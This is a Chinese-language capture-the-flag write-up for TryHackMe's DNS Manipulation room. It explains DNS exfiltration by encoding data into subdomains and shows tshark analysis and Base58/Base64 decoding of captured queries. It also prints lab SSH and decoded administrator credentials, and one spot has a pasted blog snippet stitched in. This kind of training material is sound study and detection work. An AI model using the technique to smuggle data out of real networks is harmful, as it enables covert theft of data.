TryHackMe DNS Manipulation Writeup (zh-TW)
題目資訊
- 平台: TryHackMe
- 難度: Easy
- 題目連結: https://tryhackme.com/room/dnsmanipulation
- 備註: Infiltration的部分,因為作者遇到一些狀況,所以是參考其他人的writeup
nslookup -type=txt code.badbaddoma.in
Server: 10.201.0.2
Address: 10.201.0.2#53
** server can't find code.badbaddoma.in: NXDOMAIN【THM】DNS Manipulation(操纵DNS进行数据渗透)-学习 - Hekeatsll - 博客园
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/dnsmanipulation 本文相关内容:介绍一些基于DNS的数据渗透技术,包括数据渗出和数据渗入。 简介 在本文中,我们将研究DNS服务并简单了解一些用于针对目标机来渗出和渗入数据的技术。 首先,我
環境設定
連接目標機器
ssh [email protected]
# 密碼: P@ssword01
工具準備
# 所需工具已預裝在目標機器
cd ~/dns-exfil-infil/
ls -la
# 主要工具
packety.py # DNS 外洩發送端
packetyGrabber.py # DNS 外洩接收端/解碼工具
理論基礎
DNS Exfiltration 原理
DNS 資料外洩利用 DNS 查詢來傳輸資料:
正常 DNS 查詢:
google.com → 查詢 IP
惡意 DNS 查詢(外洩資料):
[編碼資料].attacker.com → 將資料嵌入子域名
為什麼有效?
✅ DNS 是必要服務,無法封鎖
✅ Port 53 通常被允許
✅ 混在正常流量中,難以偵測
✅ 可編碼大量資料
挑戰 1: orderlist
目標
解碼被外洩的訂單資料
步驟 1: 查看任務
cd ~/challenges/exfiltration/orderlist/
cat TASK
步驟 2: 分析 DNS 查詢
# 查看所有 DNS 查詢
tshark -r order.pcap -T fields -e dns.qry.name
# 統計並排序
tshark -r order.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr
發現可疑域名:
badbaddoma.in
大量隨機子域名:
├─ uggjU4KyhVyWxVwUo6opxqj.badbaddoma.in
├─ u1YfpFPK9dUeX31JdGGdzpm.badbaddoma.in
└─ ... (更多)
步驟 3: 解碼資料
python3 ~/dns-exfil-infil/packetyGrabber.py
# 輸入:
File captured: order.pcap
Filename output: decoded.txt
Domain Name: badbaddoma.in
步驟 4: 查看解碼結果
cat decoded.txt
輸出:
DATE ORDER-ID TRANSACTION PRICE CODE
01-06 1 Network Equip. $2349.99 -
01-09 2 Software Licen. $1293.49 -
01-11 3 Physical Secur. $7432.79 -
02-06 4 SENT TO #1056.. $15040.23 -
02-06 5 1M THM VOUCHER $10 zSiSeC
02-06 6 Firewall $2500
答案
- ORDER-ID 1 的 Transaction name:
Network Equip. - Firewall 的價格:
2500
挑戰 2: identify
目標
從三個 pcap 檔案中找出包含可疑 DNS 查詢的檔案
步驟 1: 查看任務
cd ~/challenges/exfiltration/identify/
cat TASK
ls -la
可用檔案:
cap1.pcap
cap2.pcap
cap3.pcap
步驟 2: 分析每個檔案
# 檢查 cap1.pcap
tshark -r cap1.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr
# 檢查 cap2.pcap
tshark -r cap2.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr
# 檢查 cap3.pcap
tshark -r cap3.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -nr
發現:
cap3.pcap 包含大量 badbaddoma.in 的查詢
└─ 隨機子域名模式與 orderlist 相同
步驟 3: 解碼 cap3.pcap
python3 ~/dns-exfil-infil/packetyGrabber.py
# 輸入:
File captured: cap3.pcap
Filename output: decoded2.txt
Domain Name: badbaddoma.in
步驟 4: 查看結果
cat decoded2.txt
輸出:
administrator:s3cre7P@ssword
答案
- 包含可疑 DNS 查詢的檔案:
cap3.pcap - 解碼後的明文:
administrator:s3cre7P@ssword
技術要點總結
packetyGrabber.py 運作原理
步驟 1: 從 .pcap 提取 DNS 查詢
└─ 過濾指定域名的查詢
步驟 2: 提取子域名
└─ uggjU4KyhVyWxVwUo6opxqj.badbaddoma.in
└───────┬────────┘
編碼資料
步驟 3: 移除混淆字元
└─ 前後各有假字元需移除
步驟 4: Base58 解碼
└─ 還原為 Base64 字串
步驟 5: Base64 解碼
└─ 還原為原始資料
步驟 6: 輸出到檔案
經驗分享
關於packetyGrabber.py
- 作者: kleosdc
- 來源: https://github.com/kleosdc/dns-exfil-infil
- 用途: 教學專用的 DNS 外洩解碼工具
- 功能:
- 提取 pcap 中的 DNS 查詢
- Base58/Base64 雙重解碼
- 自動重組分割資料
注意: 最後的 Exception 是正常的,可忽略
Member discussion